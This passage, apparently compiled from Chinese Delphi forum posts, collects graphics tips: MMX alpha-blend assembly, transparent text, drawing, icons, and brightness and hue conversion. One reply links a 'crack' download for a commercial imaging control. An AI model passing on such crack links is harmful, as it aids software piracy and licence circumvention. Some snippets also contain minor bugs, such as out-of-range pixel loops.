@1: // The pixel loop calculates an entire pixel in one run.

// Note: The pixel byte values are expanded into the higher bytes of a

word due

// to the way unpacking works. We compensate for this with an

extra shift.

DB $0F, $EF, $C0 /// PXOR MM0, MM0, clear source

pixel register for unpacking

DB $0F, $60, $06 /// PUNPCKLBW MM0, [ESI], unpack source

pixel byte values into words

DB $0F, $71, $D0, $08 /// PSRLW MM0, 8, move higher

bytes to lower bytes

DB $0F, $EF, $C9 /// PXOR MM1, MM1, clear target

pixel register for unpacking

DB $0F, $60, $0F /// PUNPCKLBW MM1, [EDI], unpack target

pixel byte values into words

DB $0F, $6F, $D1 /// MOVQ MM2, MM1, make a copy of

the shifted values, we need them again

DB $0F, $71, $D1, $08 /// PSRLW MM1, 8, move higher

bytes to lower bytes

// calculation is: target = (alpha * (source - target) + 256 * target) /

256

DB $0F, $F9, $C1 /// PSUBW MM0, MM1, source - target

DB $0F, $D5, $C6 /// PMULLW MM0, MM6, alpha *

(source - target)

DB $0F, $FD, $C2 /// PADDW MM0, MM2, add target (in

shifted form)

DB $0F, $71, $D0, $08 /// PSRLW MM0, 8, divide by 256

// Bias is accounted for by conversion of range 0..255 to -128..127,

// doing a saturated add and convert back to 0..255.

DB $0F, $F9, $C4 /// PSUBW MM0, MM4

DB $0F, $ED, $C5 /// PADDSW MM0, MM5

DB $0F, $FD, $C4 /// PADDW MM0, MM4

DB $0F, $67, $C0 /// PACKUSWB MM0, MM0, convert words

to bytes with saturation

DB $0F, $7E, $07 /// MOVD [EDI], MM0, store the

result

@3:

ADD ESI, 4

ADD EDI, 4

DEC ECX

JNZ @1

POP EDI

POP ESI

end;

file://------------------------------------------------------------------------------

----------------------------------------

procedure AlphaBlendLinePerPixel(Source, Destination: Pointer; Count, Bias:

Integer);

// Blends a line of Count pixels from Source to Destination using the alpha

value of the source pixels.

// The layout of a pixel must be BGRA.

// Bias is an additional value which gets added to every component and must be

in the range -128..127

//

// EAX contains Source

// EDX contains Destination

// ECX contains Count

// Bias is on the stack

asm

PUSH ESI // save used registers

PUSH EDI

MOV ESI, EAX // ESI becomes the actual source pointer

MOV EDI, EDX // EDI becomes the actual target pointer

// Load MM5 with the bias value.

MOV EAX, [Bias]

DB $0F, $6E, $E8 /// MOVD MM5, EAX

DB $0F, $61, $ED /// PUNPCKLWD MM5, MM5

DB $0F, $62, $ED /// PUNPCKLDQ MM5, MM5

// Load MM4 with 128 to allow for saturated biasing.

MOV EAX, 128

DB $0F, $6E, $E0 /// MOVD MM4, EAX

DB $0F, $61, $E4 /// PUNPCKLWD MM4, MM4

DB $0F, $62, $E4 /// PUNPCKLDQ MM4, MM4

@1: // The pixel loop calculates an entire pixel in one run.

// Note: The pixel byte values are expanded into the higher bytes of a

word due

// to the way unpacking works. We compensate for this with an

extra shift.

DB $0F, $EF, $C0 /// PXOR MM0, MM0, clear source

pixel register for unpacking

DB $0F, $60, $06 /// PUNPCKLBW MM0, [ESI], unpack source

pixel byte values into words

DB $0F, $71, $D0, $08 /// PSRLW MM0, 8, move higher

bytes to lower bytes

DB $0F, $EF, $C9 /// PXOR MM1, MM1, clear target

pixel register for unpacking

DB $0F, $60, $0F /// PUNPCKLBW MM1, [EDI], unpack target

pixel byte values into words

DB $0F, $6F, $D1 /// MOVQ MM2, MM1, make a copy of

the shifted values, we need them again

DB $0F, $71, $D1, $08 /// PSRLW MM1, 8, move higher

bytes to lower bytes

// Load MM6 with the source alpha value (replicate it for every

component).

// Expand it to word size.

DB $0F, $6F, $F0 /// MOVQ MM6, MM0

DB $0F, $69, $F6 /// PUNPCKHWD MM6, MM6

DB $0F, $6A, $F6 /// PUNPCKHDQ MM6, MM6

// calculation is: target = (alpha * (source - target) + 256 * target) /

256

DB $0F, $F9, $C1 /// PSUBW MM0, MM1, source - target

DB $0F, $D5, $C6 /// PMULLW MM0, MM6, alpha *

(source - target)

DB $0F, $FD, $C2 /// PADDW MM0, MM2, add target (in

shifted form)

DB $0F, $71, $D0, $08 /// PSRLW MM0, 8, divide by 256

// Bias is accounted for by conversion of range 0..255 to -128..127,

// doing a saturated add and convert back to 0..255.

DB $0F, $F9, $C4 /// PSUBW MM0, MM4

DB $0F, $ED, $C5 /// PADDSW MM0, MM5

DB $0F, $FD, $C4 /// PADDW MM0, MM4

DB $0F, $67, $C0 /// PACKUSWB MM0, MM0, convert words

to bytes with saturation

DB $0F, $7E, $07 /// MOVD [EDI], MM0, store the

result

@3:

ADD ESI, 4

ADD EDI, 4

DEC ECX

JNZ @1

POP EDI

POP ESI

end;

file://------------------------------------------------------------------------------

----------------------------------------

procedure AlphaBlendLineMaster(Source, Destination: Pointer; Count: Integer;

ConstantAlpha, Bias: Integer);

// Blends a line of Count pixels from Source to Destination using the source

pixel and a constant alpha value.

// The layout of a pixel must be BGRA.

// ConstantAlpha must be in the range 0..255.

// Bias is an additional value which gets added to every component and must be

in the range -128..127

//

// EAX contains Source

// EDX contains Destination

// ECX contains Count

// ConstantAlpha and Bias are on the stack

asm

PUSH ESI // save used registers

PUSH EDI

MOV ESI, EAX // ESI becomes the actual source pointer

MOV EDI, EDX // EDI becomes the actual target pointer

// Load MM6 with the constant alpha value (replicate it for every

component).

// Expand it to word size.

MOV EAX, [ConstantAlpha]

DB $0F, $6E, $F0 /// MOVD MM6, EAX

DB $0F, $61, $F6 /// PUNPCKLWD MM6, MM6

DB $0F, $62, $F6 /// PUNPCKLDQ MM6, MM6

// Load MM5 with the bias value.

MOV EAX, [Bias]

DB $0F, $6E, $E8 /// MOVD MM5, EAX

DB $0F, $61, $ED /// PUNPCKLWD MM5, MM5

DB $0F, $62, $ED /// PUNPCKLDQ MM5, MM5

// Load MM4 with 128 to allow for saturated biasing.

MOV EAX, 128

DB $0F, $6E, $E0 /// MOVD MM4, EAX

DB $0F, $61, $E4 /// PUNPCKLWD MM4, MM4

DB $0F, $62, $E4 /// PUNPCKLDQ MM4, MM4

@1: // The pixel loop calculates an entire pixel in one run.

// Note: The pixel byte values are expanded into the higher bytes of a

word due

// to the way unpacking works. We compensate for this with an

extra shift.

DB $0F, $EF, $C0 /// PXOR MM0, MM0, clear source

pixel register for unpacking

DB $0F, $60, $06 /// PUNPCKLBW MM0, [ESI], unpack source

pixel byte values into words

DB $0F, $71, $D0, $08 /// PSRLW MM0, 8, move higher

bytes to lower bytes

DB $0F, $EF, $C9 /// PXOR MM1, MM1, clear target

pixel register for unpacking

DB $0F, $60, $0F /// PUNPCKLBW MM1, [EDI], unpack target

pixel byte values into words

DB $0F, $6F, $D1 /// MOVQ MM2, MM1, make a copy of

the shifted values, we need them again

DB $0F, $71, $D1, $08 /// PSRLW MM1, 8, move higher

bytes to lower bytes

// Load MM7 with the source alpha value (replicate it for every

component).

// Expand it to word size.

DB $0F, $6F, $F8 /// MOVQ MM7, MM0

DB $0F, $69, $FF /// PUNPCKHWD MM7, MM7

DB $0F, $6A, $FF /// PUNPCKHDQ MM7, MM7

DB $0F, $D5, $FE /// PMULLW MM7, MM6, source alpha *

master alpha

DB $0F, $71, $D7, $08 /// PSRLW MM7, 8, divide by 256

// calculation is: target = (alpha * master alpha * (source - target) +

256 * target) / 256

DB $0F, $F9, $C1 /// PSUBW MM0, MM1, source - target

DB $0F, $D5, $C7 /// PMULLW MM0, MM7, alpha *

(source - target)

DB $0F, $FD, $C2 /// PADDW MM0, MM2, add target (in

shifted form)

DB $0F, $71, $D0, $08 /// PSRLW MM0, 8, divide by 256

// Bias is accounted for by conversion of range 0..255 to -128..127,

// doing a saturated add and convert back to 0..255.

DB $0F, $F9, $C4 /// PSUBW MM0, MM4

DB $0F, $ED, $C5 /// PADDSW MM0, MM5

DB $0F, $FD, $C4 /// PADDW MM0, MM4

DB $0F, $67, $C0 /// PACKUSWB MM0, MM0, convert words

to bytes with saturation

DB $0F, $7E, $07 /// MOVD [EDI], MM0, store the

result

@3:

ADD ESI, 4

ADD EDI, 4

DEC ECX

JNZ @1

POP EDI

POP ESI

end;

file://------------------------------------------------------------------------------

----------------------------------------

procedure EMMS;

// Reset MMX state to use the FPU for other tasks again.

asm

DB $0F, $77 /// EMMS

end;

file://------------------------------------------------------------------------------

----------------------------------------

function GetBitmapBitsFromDeviceContext(DC: HDC; var Width, Height: Integer):

Pointer;

// Helper function used to retrieve the bitmap selected into the given device

context. If there is a bitmap then

// the function will return a pointer to its bits otherwise nil is returned.

// Additionally the dimensions of the bitmap are returned.

var

Bitmap: HBITMAP;

DIB: TDIBSection;

begin

Result := nil;

Width := 0;

Height := 0;

Bitmap := GetCurrentObject(DC, OBJ_BITMAP);

if Bitmap <> 0 then

begin

if GetObject(Bitmap, SizeOf(DIB), @DIB) = SizeOf(DIB) then

begin

Result := DIB.dsBm.bmBits;

Width := DIB.dsBmih.biWidth;

Height := DIB.dsBmih.biHeight;

end;

end;

end;

file://------------------------------------------------------------------------------

----------------------------------------

function CalculateScanline(Bits: Pointer; Width, Height, Row: Integer): Pointer;

// Helper function to calculate the start address for the given row.

begin

if Height > 0 then // bottom-up DIB

Row := Height - Row - 1;

// Return DWORD aligned address of the requested scanline.

Integer(Result) := Integer(Bits) + Row * ((Width * 32 + 31) and not 31) div 8;

end;

file://------------------------------------------------------------------------------

----------------------------------------

procedure AlphaBlend(Source, Destination: HDC; R: TRect; Target: TPoint; Mode:

TBlendMode; ConstantAlpha, Bias: Integer);

// Optimized alpha blend procedure using MMX instructions to perform as quick as

possible.

// For this procedure to work properly it is important that both source and

target bitmap use the 32 bit color format.

// R describes the source rectangle to work on.

// Target is the place (upper left corner) in the target bitmap where to blend

to. Note that source width + X offset

// must be less or equal to the target width. Similar for the height.

// If Mode is bmConstantAlpha then the blend operation uses the given

ConstantAlpha value for all pixels.

// if Mode is bmPerPixelAlpha then each pixel is blended using its individual

alpha value (the alpha value of the source).

// if Mode is bmMasterAlpha then each pixel is blended using its individual

alpha value multiplied by ConstantAlpha.

// Bias can have a value which gets added to every pixel (in the range

of -128..127).

// CAUTION: This procedure does not check whether MMX instructions are actually

available!

var

Y: Integer;

SourceRun,

TargetRun: PByte;

SourceBits,

DestBits: Pointer;

SourceWidth,

SourceHeight,

DestWidth,

DestHeight: Integer;

begin

if not IsRectEmpty(R) then

begin

// Note: it is tempting to optimize the special cases for constant alpha 0

and 255 by just ignoring soure

// (alpha = 0) or simply do a blit (alpha = 255). But this does not

take the bias into account.

case Mode of

bmConstantAlpha:

begin

// Get a pointer to the bitmap bits for the source and target device

contexts.

// Note: this supposes that both contexts do actually have bitmaps

assigned!

SourceBits := GetBitmapBitsFromDeviceContext(Source, SourceWidth,

SourceHeight);

DestBits := GetBitmapBitsFromDeviceContext(Destination, DestWidth,

DestHeight);

if Assigned(SourceBits) and Assigned(DestBits) then

begin

for Y := 0 to R.Bottom - R.Top - 1 do

begin

SourceRun := CalculateScanline(SourceBits, SourceWidth,

SourceHeight, Y + R.Top);

Inc(SourceRun, 4 * R.Left);

TargetRun := CalculateScanline(DestBits, DestWidth, DestHeight, Y

+ Target.Y);

Inc(TargetRun, 4 * Target.X);

AlphaBlendLineConstant(SourceRun, TargetRun, R.Right - R.Left,

ConstantAlpha, Bias);

end;

end;

EMMS;

end;

bmPerPixelAlpha:

begin

SourceBits := GetBitmapBitsFromDeviceContext(Source, SourceWidth,

SourceHeight);

DestBits := GetBitmapBitsFromDeviceContext(Destination, DestWidth,

DestHeight);

if Assigned(SourceBits) and Assigned(DestBits) then

begin

for Y := 0 to R.Bottom - R.Top - 1 do

begin

SourceRun := CalculateScanline(SourceBits, SourceWidth,

SourceHeight, Y + R.Top);

Inc(SourceRun, 4 * R.Left);

TargetRun := CalculateScanline(DestBits, DestWidth, DestHeight, Y

+ Target.Y);

Inc(TargetRun, 4 * Target.X);

AlphaBlendLinePerPixel(SourceRun, TargetRun, R.Right - R.Left,

Bias);

end;

end;

EMMS;

end;

bmMasterAlpha:

begin

SourceBits := GetBitmapBitsFromDeviceContext(Source, SourceWidth,

SourceHeight);

DestBits := GetBitmapBitsFromDeviceContext(Destination, DestWidth,

DestHeight);

if Assigned(SourceBits) and Assigned(DestBits) then

begin

for Y := 0 to R.Bottom - R.Top - 1 do

begin

SourceRun := CalculateScanline(SourceBits, SourceWidth,

SourceHeight, Y + R.Top);

Inc(SourceRun, 4 * Target.X);

TargetRun := CalculateScanline(DestBits, DestWidth, DestHeight, Y

+ Target.Y);

AlphaBlendLineMaster(SourceRun, TargetRun, R.Right - R.Left,

ConstantAlpha, Bias);

end;

end;

EMMS;

end;

end;

end;

end;

file://------------------------------------------------------------------------------

----------------------------------------

Source and Destination HDC are simply the handles of the bitmap canvases (e.g.

SourceBMP.Canvas.Handle) etc.

Ciao, Mike

--


如何保存ImageList里面的内容
：hubdog, 时间：2001-4-30 14:03:55, ID：519919

//write imagelist

procedure TForm1.Button1Click(Sender: TObject);

var FS : TFileStream;

begin

FS := TFileStream.Create('C:.Dat',fmCreate);

FS.WriteComponent(imagelist1);

FS.Free;

end;

//Read imagelist

procedure TForm1.Button2Click(Sender: TObject);

var FS : TFileStream;

begin

RegisterClass(TImageList);

FS := TFileStream.Create('C:.Dat',fmOpenRead);

TComponent(imagelist1) := FS.ReadComponent(imagelist1);

FS.Free;

end;


TextOut输出时的透明问题
回复人：lili1(离奇)　(2001-3-9 12:54:00) 得0分

Canvas.Brush.style:= bsClear; //先这样设置

Canvas.TextOut(10,10,'离奇'); //透明的“离奇”

  回复人：BCB(yzbcb@china.com)　(2001-3-9 12:56:00) 得0分

能做不复杂！

Form1.Canvas.Brush.Style=bsClear;

Form1.Canvas.TextOut(0,0,'这是个例子');

  回复人：linkie(linkie)　(2001-3-9 12:58:00) 得0分

SetBkMode(Canvas.Handle,TRANSPARENT);

然后再TextOut.也许这可以办到吧.

  回复人：BCB(yzbcb@china.com)　(2001-3-9 13:03:00) 得0分

楼上的老兄，平时也是用C++吧，

你的注释是C的

  回复人：ether(void)　(2001-3-9 17:12:00) 得0分

没这么简单，看这个：

// 背景图中有文字的部分处理为“透明色”

TxtImg.Transparent := true;

TxtImg.TransparentMode := tmFixed;

TxtImg.TransparentColor := $1000000;

with TxtImg.Canvas do

begin

Brush.Color := $1000000; // 文字的背景色(前面定义的透明色)

Brush.Style := bsClear;

Rectangle(0, 0, MaxInt, MaxInt);

Font.Color := clRed; // 文字前景色

Font.Size := FontSize;

Font.Name := FontName;

TextOut(x, y, '透明字');

end;

  回复人：lz_0618(lz_0618)　(2001-3-10 8:10:00) 得0分

感谢各位捧场，我先试一下再给分！

另不知：

TCanvas.TextFlags有什么用，该属性有ETO_CLIPPED，ETO_OPAQUE。。。等值可用

  回复人：lili1(离奇)　(2001-3-10 12:04:00) 得0分

lz_0618

解决了吗？

  回复人：lz_0618(lz_0618)　(2001-3-10 13:13:00) 得0分

to lili1(离奇):

上午出去了，没有试。

现在试了一下，各位的都正确

ether(void)的要去掉TxtImg.TransparentMode := tmFixed;

TxtImg.TransparentColor := $1000000;只有TBitmap有这两个属性，不过因为他的这个错误使我知道了怎么贴透明位图，实在是非常感谢。

lili1(离奇)的最简单点。

linkie(linkie)的也行，其实我在Vc中也用过，不过用的是控件的成员函数，myctl.SetBkMode(TRANSPARENT);没有想到这还是个Api函数，实在感谢。

分少点，给各位再加一点吧！


随心所欲地在memo或richedit里作图
delphilxh(先锋) 2001-05-30 16:08:32 :0 :0

[回复] [打包] [转贴] [修改] [删除] [标记保留] [加至精华区]

通过该方法你可以随心所欲地在memo或richedit里作图了！呵呵！

function Tform1.memopain:boolean;

var

MyCanvas: TControlCanvas;

Begin

MyCanvas:=TControlCanvas.Create;

Mycanvas.control:=memo1;//想在memo1上作画

With Mycanvas do

Begin

//这里可以更改为你的作图程序

Brush.Color := clBtnFace;

MoveTo ( 33, 0 );

Brush.Color := clWhite;

LineTo ( 33, ClientHeight );

end;

End;


利用路径进行绘图
procedure TForm1.Button1Click(Sender: TObject);

var

lb : TLogBrush;

begin

lb.lbStyle := BS_SOLID;

lb.lbColor := RGB(255, 0, 0);

lb.lbHatch := 0;

Canvas.Pen.Handle := ExtCreatePen(PS_GEOMETRIC or PS_INSIDEFRAME or

PS_ENDCAP_SQUARE or PS_JOIN_BEVEL, 20, lb, 0, nil); ///自定义的Pen

BeginPath(Canvas.Handle);

Canvas.MoveTo(100, 30);

Canvas.LineTo(200, 100);

Canvas.LineTo(300, 30);

EndPath(Canvas.Handle);

StrokePath(Canvas.Handle); ///渲染闭合的路径区域

Canvas.Pen.Width := 1;

end;


文字输出显示...或路径中间用...代替
要显示的字符串太长时，如何在其末尾或中部显示一个省略号...... ？

调用API DrawText

并指定以下标志：

1）DT_END_ELLIPSIS 标志：这样就可以用小略号取代串末尾的字符使其适合于指定的边界矩形；

2）DT_PATH_ELLIPSIS标志：显示路径信息，并省略号取代串中间的字符；

用下面的代码看看？

var

R:TRect;

begin

R:=Rect(20,20,100,100);

DrawText(Canvas.Handle,'This is a long text!',25,R,DT_END_ELLIPSIS);////DT_PATH_ELLIPSIS

end;


系统最大化，最小化等图标
{

possible constants:

- IDI_APPLICATION

- IDI_ASTERISK

- IDI_EXCLAMATION

- IDI_HAND

- IDI_QUESTION

}

//Icons

procedure TForm1.Button1Click(Sender: TObject);

var

icon: TIcon;

begin

icon := TIcon.Create;

try

icon.Handle := LoadIcon(0, IDI_HAND);

Canvas.Draw(30, 100, icon);

finally

icon.Free

end;

end;

{

possible constants:

- OBM_BTNCORNERS

- OBM_BTSIZE

- OBM_CHECK

- OBM_CHECKBOXES

- OBM_CLOSE

- OBM_COMBO

- OBM_DNARROW

- OBM_DNARROWD

- OBM_DNARROWI

- OBM_LFARROW

- OBM_LFARROWD

- OBM_LFARROWI

- OBM_MNARROW

- OBM_REDUCE

- OBM_RESTORE

- OBM_REDUCED

- OBM_SIZE

- OBM_UPARROW

- OBM_ZOOM

}

//Bitmaps

procedure TForm1.Button2Click(Sender: TObject);

var

bitmap: TBitmap;

begin

bitmap := TBitmap.Create;

try

bitmap.Handle := LoadBitmap(0, makeintresource(OBM_RESTORE));

Canvas.Draw(100, 100, bitmap);

finally

bitmap.Free

end;

end;


绘制函数？
plot a function?

Author :Perter Below

private

FPoints: array [0..144] of TPoint;

{...}

procedure TForm1.CalculateGraph;

var

xRangePixels, yRangePixels: Integer;

origin: TPoint;

radian, interval: Double;

i: Integer;

begin

{

We calculate the sinus curve in the interval -2Pi..+2Pi,

with a resolution of 4Pi/144, as a series of points that

will be connected by a polyline. The graph is scaled to fit into

the paintbox. The origin of the coordinate system is the center

of the paintbox. The default windows coordinate system is inverted,

the Y axis points downward!

}

xRangePixels := (paintbox1.Width - 2) div 4; { pixels in Pi }

yRangePixels := (paintbox1.Height - 2) div 2; { pixels in 1 }

origin := Point(paintbox1.Width div 2, paintbox1.Height div 2);

radian := -2.0 * Pi;

interval := 4.0 * Pi / 144.0;

for i := 0 to High(FPoints) do

begin

FPoints[i].X := origin.x + Round(radian * xRangePixels / Pi);

FPoints[i].Y := origin.y - Round(sin(radian) * yRangePixels);

radian := radian + interval;

end;

end;

procedure TForm1.PaintBox1Paint(Sender: TObject);

var

origin: TPoint;

xRangePixels, yRangePixels: Integer;

begin

with PaintBox1.Canvas do

begin

{ Fill background in white }

Brush.Color := clBtnFace;

Brush.Style := bsSolid;

Fillrect(paintbox1.BoundsRect);

{ Paint a coordinate cross }

origin := Point(paintbox1.Width div 2, paintbox1.Height div 2);

Pen.Color := clBlack;

Pen.Style := psSolid;

Pen.Width := 1;

MoveTo(1, origin.Y);

LineTo(paintbox1.Width - 1, origin.y);

MoveTo(origin.x, 1);

LineTo(origin.x, paintbox1.Height - 1);

{ Paint some tickmarks and label the axis }

Font.Name := 'Symbol';

Font.Size := 8;

Font.Color := clBlack;

xRangePixels := (paintbox1.Width - 2) div 4; { pixels in Pi }

yRangePixels := (paintbox1.Height - 2) div 2; { pixels in 1 }

{ X axis }

MoveTo(origin.x - 2 * xRangePixels, origin.y - 4);

LineTo(origin.x - 2 * xRangePixels, origin.y + 4);

TextOut(origin.x - 2 * xRangePixels + 2, origin.y + 2, '-2p');

MoveTo(origin.x - xRangePixels, origin.y - 4);

LineTo(origin.x - xRangePixels, origin.y + 4);

TextOut(origin.x - xRangePixels + 2, origin.y + 2, '-p');

MoveTo(origin.x + xRangePixels, origin.y - 4);

LineTo(origin.x + xRangePixels, origin.y + 4);

TextOut(origin.x + xRangePixels - 2 - TextWidth('p'), origin.y + 2, 'p');

MoveTo(origin.x + 2 * xRangePixels, origin.y - 4);

LineTo(origin.x + 2 * xRangePixels, origin.y + 4);

TextOut(origin.x + 2 * xRangePixels - 2 - TextWidth('2p'), origin.y + 2, '2p');

{ Y axis }

MoveTo(origin.x - 4, origin.y - yRangePixels);

LineTo(origin.x + 4, origin.y - yRangePixels);

TextOut(origin.x + 4, origin.y - yRangePixels, '1.0');

MoveTo(origin.x - 4, origin.y - yRangePixels div 2);

LineTo(origin.x + 4, origin.y - yRangePixels div 2);

TextOut(origin.x + 4, origin.y - (yRangePixels + TextHeight('1')) div 2, '0.5');

MoveTo(origin.x - 2, origin.y + yRangePixels div 2);

LineTo(origin.x + 2, origin.y + yRangePixels div 2);

TextOut(origin.x + 3, origin.y + (yRangePixels - TextHeight('1')) div 2, '-0.5');

MoveTo(origin.x - 2, origin.y + yRangePixels);

LineTo(origin.x + 2, origin.y + yRangePixels);

TextOut(origin.x + 3, origin.y + yRangePixels - TextHeight('1'), '-1.0');

{Paint the graph }

Pen.Color := clBlue;

Polyline(FPoints);

end;

end;

procedure TForm1.FormResize(Sender: TObject);

begin

CalculateGraph;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

CalculateGraph;

end;


给指定控件画一个边框
var

hOldWnd : HWND;

procedure FrameWindow(Wnd: HWnd);

var

Rect : TRect;

DC : hDC;

OldPen, Pen : hPen;

OldBrush, Brush : hBrush;

X2, Y2 : Integer;

begin

{ Get the target window's rect and DC }

GetWindowRect(Wnd, Rect);

DC := GetWindowDC(Wnd);

{ Set ROP appropriately for highlighting }

SetROP2(DC, R2_NOT);

{ Select brush and pen }

Pen := CreatePen(PS_InsideFrame, 4, 0);

OldPen := SelectObject(DC, Pen);

Brush := GetStockObject(Null_Brush);

OldBrush := SelectObject(DC, Brush);

{ Set dimensions of highlight }

X2 := Rect.Right - Rect.Left;

Y2 := Rect.Bottom - Rect.Top;

{ Draw highlight box }

Rectangle(DC, 0, 0, X2, Y2);

{ Clean up }

SelectObject(DC, OldBrush);

SelectObject(DC, OldPen);

ReleaseDC(Wnd, DC);

{ Do NOT delete the brush, because it was a stock object }

DeleteObject(Pen);

end;

procedure TForm1.Timer1Timer(Sender: TObject);

var

hNewWnd : HWnd;

begin

hNewWnd := WindowFromPoint(Mouse.CursorPos);

{ To avoid flickering, remove the old frame ONLY if moved to new window }

if hNewWnd <> hOldWnd then

begin

if hOldWnd <> 0 then

FrameWindow(hOldWnd);

if hNewWnd <> 0 then

FrameWindow(hNewWnd);

hOldWnd := hNewWnd;

end;

end;


调整图片的亮度和对比度、灰度
暗淡或者灰度一个图片：

function NewColor(ACanvas: TCanvas; clr: TColor; Value: integer): TColor;

var

r, g, b: integer;

begin

if Value > 100 then Value := 100;

clr := ColorToRGB(clr);

r := Clr and $000000FF;

g := (Clr and $0000FF00) shr 8;

b := (Clr and $00FF0000) shr 16;

r := r + Round((255 - r) * (value / 100));

g := g + Round((255 - g) * (value / 100));

b := b + Round((255 - b) * (value / 100));

Result := Windows.GetNearestColor(ACanvas.Handle, RGB(r, g, b));

end;

procedure DimBitmap(ABitmap: TBitmap; Value: integer);

var

x, y: integer;

LastColor1, LastColor2, Color: TColor;

begin

if Value > 100 then Value := 100;

LastColor1 := -1;

LastColor2 := -1;

for y := 0 to ABitmap.Height - 1 do

for x := 0 to ABitmap.Width - 1 do

begin

Color := ABitmap.Canvas.Pixels[x, y];

if Color = LastColor1 then

ABitmap.Canvas.Pixels[x, y] := LastColor2

else

begin

LastColor2 := NewColor(ABitmap.Canvas, Color, Value);

ABitmap.Canvas.Pixels[x, y] := LastColor2;

LastColor1 := Color;

end;

end;

end;

function GrayColor(ACanvas: TCanvas; clr: TColor; Value: integer): TColor;

var

r, g, b, avg: integer;

begin

if Value > 100 then Value := 100;

clr := ColorToRGB(clr);

r := Clr and $000000FF;

g := (Clr and $0000FF00) shr 8;

b := (Clr and $00FF0000) shr 16;

Avg := (r + g + b) div 3;

Avg := Avg + Value;

if Avg > 240 then Avg := 240;

Result := Windows.GetNearestColor(ACanvas.Handle, RGB(Avg, avg, avg));

end;

procedure GrayBitmap(ABitmap: TBitmap; Value: integer);

var

x, y: integer;

LastColor1, LastColor2, Color: TColor;

begin

LastColor1 := 0;

LastColor2 := 0;

for y := 0 to ABitmap.Height do

for x := 0 to ABitmap.Width do

begin

Color := ABitmap.Canvas.Pixels[x, y];

if Color = LastColor1 then

ABitmap.Canvas.Pixels[x, y] := LastColor2

else

begin

LastColor2 := GrayColor(ABitmap.Canvas, Color, Value);

ABitmap.Canvas.Pixels[x, y] := LastColor2;

LastColor1 := Color;

end;

end;

end;

Window API 里面有这些东东。

可以打开 Delphi 5 的 Windows SDK 帮助，然后查找

COLORADJUSTMENT

调整亮度：需要同时增加或减少像素点的R，G，B值，增加或减少的R，G，B值应该相等！比如均增加

或减少10；

调整对比度：首先设定一个阀值，通常是128；然后判断像素点的R，G，B值，凡是大于128的，

增加一个值，小于128的，减少一个值！

有很多控件的，如fxtool（http://go1.163.com/~easyvc/dl/fxgold5.zip）

http://my.szptt.net.cn/pb/tools/fxtools/fxcrack.zip（破解文件）

或者XpressPE（http://www.vckbase.com/ocx/ocx_image/XpressPE.EXE）

简单的调节,试试SetPalette API 吧

我找回以前的程序，试了一下，仅仅对于有调色板的图像，例如256色图像

才能用Window API处理。若对于16位或24位真彩色图像只能自己处理。

建议先识别图像的颜色深度，然后再处理。

不要使用TBitmap的Pixel属性，应使用ScanLine。若不是使用TBitmap，

也是类似，要直接获得象素的内存指针来操作。

处理方法就如【卷起千堆雪tyn】所说的那样。

给你段代码参考一下吧：

procedure TForm1.Button1Click(Sender: TObject);

var

x,y,i: integer;

BitMap : TBitMap;

ptr : PByteArray;

begin

BitMap := TBitMap.Create;

try

BitMap.LoadFromFile('lanmannt.bmp');

BitMap.PixelFormat := pf24bit;

for i := 0 to 255 do begin

for y := 0 to BitMap.Height - 1 do begin

ptr := BitMap.ScanLine[y];

for x := 0 to ((BitMap.Width * 3) - 1) do

if ptr[x] > 0 then ptr[x] := (ptr[x] - 1);

end;

Image1.Canvas.Draw(0,0,BitMap);

Application.ProcessMessages;

end;

finally

BitMap.free;

end;

end;


动态修改图片的HUE
一个picturebox中的图片，如何在不调用directX的情况下，动态修改图片的HUE值？有

没有什么现成的API？这个功能太常用了，多数图形软件都可以调整色阶的，应该有什

么函数可以设置吧。

shlwapi.h里面有两个函数，ColorRGBToHLS和ColorHLSToRGB，应该可以满足你的要

求，但是要一个点一个点地算，有点慢。

这里还有两个函数，你可以自己想办法提高效率：

*/

#define HLSMAX RANGE /* H,L, and S vary over 0-HLSMAX */

#define RGBMAX 255 /* R,G, and B vary over 0-RGBMAX */

/* HLSMAX BEST IF DIVISIBLE BY 6 */

/* RGBMAX, HLSMAX must each fit in a byte. */

/* Hue is undefined if Saturation is 0 (grey-scale) */

/* This value determines where the Hue scrollbar is */

/* initially set for achromatic colors */

#define UNDEFINED (HLSMAX*2/3)

void RGBtoHLS(DWORD lRGBColor)

{

WORD R,G,B; /* input RGB values */

BYTE cMax,cMin; /* max and min RGB values */

WORD Rdelta,Gdelta,Bdelta; /* intermediate value: % of spread from max

*/

/* get R, G, and B out of DWORD */

R = GetRValue(lRGBColor);

G = GetGValue(lRGBColor);

B = GetBValue(lRGBColor);

/* calculate lightness */

cMax = max( max(R,G), B);

cMin = min( min(R,G), B);

L = ( ((cMax+cMin)*HLSMAX) + RGBMAX )/(2*RGBMAX);

if (cMax == cMin) { /* r=g=b --> achromatic case */

S = 0; /* saturation */

H = UNDEFINED; /* hue */

}

else { /* chromatic case */

/* saturation */

if (L <= (HLSMAX/2))

S = ( ((cMax-cMin)*HLSMAX) + ((cMax+cMin)/2) ) / (cMax+cMin);

else

S = ( ((cMax-cMin)*HLSMAX) + ((2*RGBMAX-cMax-cMin)/2) )

/ (2*RGBMAX-cMax-cMin);

/* hue */

Rdelta = ( ((cMax-R)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);

Gdelta = ( ((cMax-G)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);

Bdelta = ( ((cMax-B)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);

if (R == cMax)

H = Bdelta - Gdelta;

else if (G == cMax)

H = (HLSMAX/3) + Rdelta - Bdelta;

else /* B == cMax */

H = ((2*HLSMAX)/3) + Gdelta - Rdelta;

if (H < 0)

H += HLSMAX;

if (H > HLSMAX)

H -= HLSMAX;

}

}

/* utility routine for HLStoRGB */

WORD HueToRGB(WORD n1, WORD n2, WORD hue)

{

/* range check: note values passed add/subtract thirds of range */

if (hue < 0)

hue += HLSMAX;

if (hue > HLSMAX)

hue -= HLSMAX;

/* return r,g, or b value from this tridrant */

if (hue < (HLSMAX/6))

return ( n1 + (((n2-n1)*hue+(HLSMAX/12))/(HLSMAX/6)) );

if (hue < (HLSMAX/2))

return ( n2 );

if (hue < ((HLSMAX*2)/3))

return ( n1 +

(((n2-n1)*(((HLSMAX*2)/3)-hue)+(HLSMAX/12))/(HLSMAX/6))

);

else

return ( n1 );

}

DWORD HLStoRGB(WORD hue,WORD lum,WORD sat)

{

WORD R,G,B; /* RGB component values */

WORD Magic1,Magic2; /* calculated magic numbers (really!) */

if (sat == 0) { /* achromatic case */

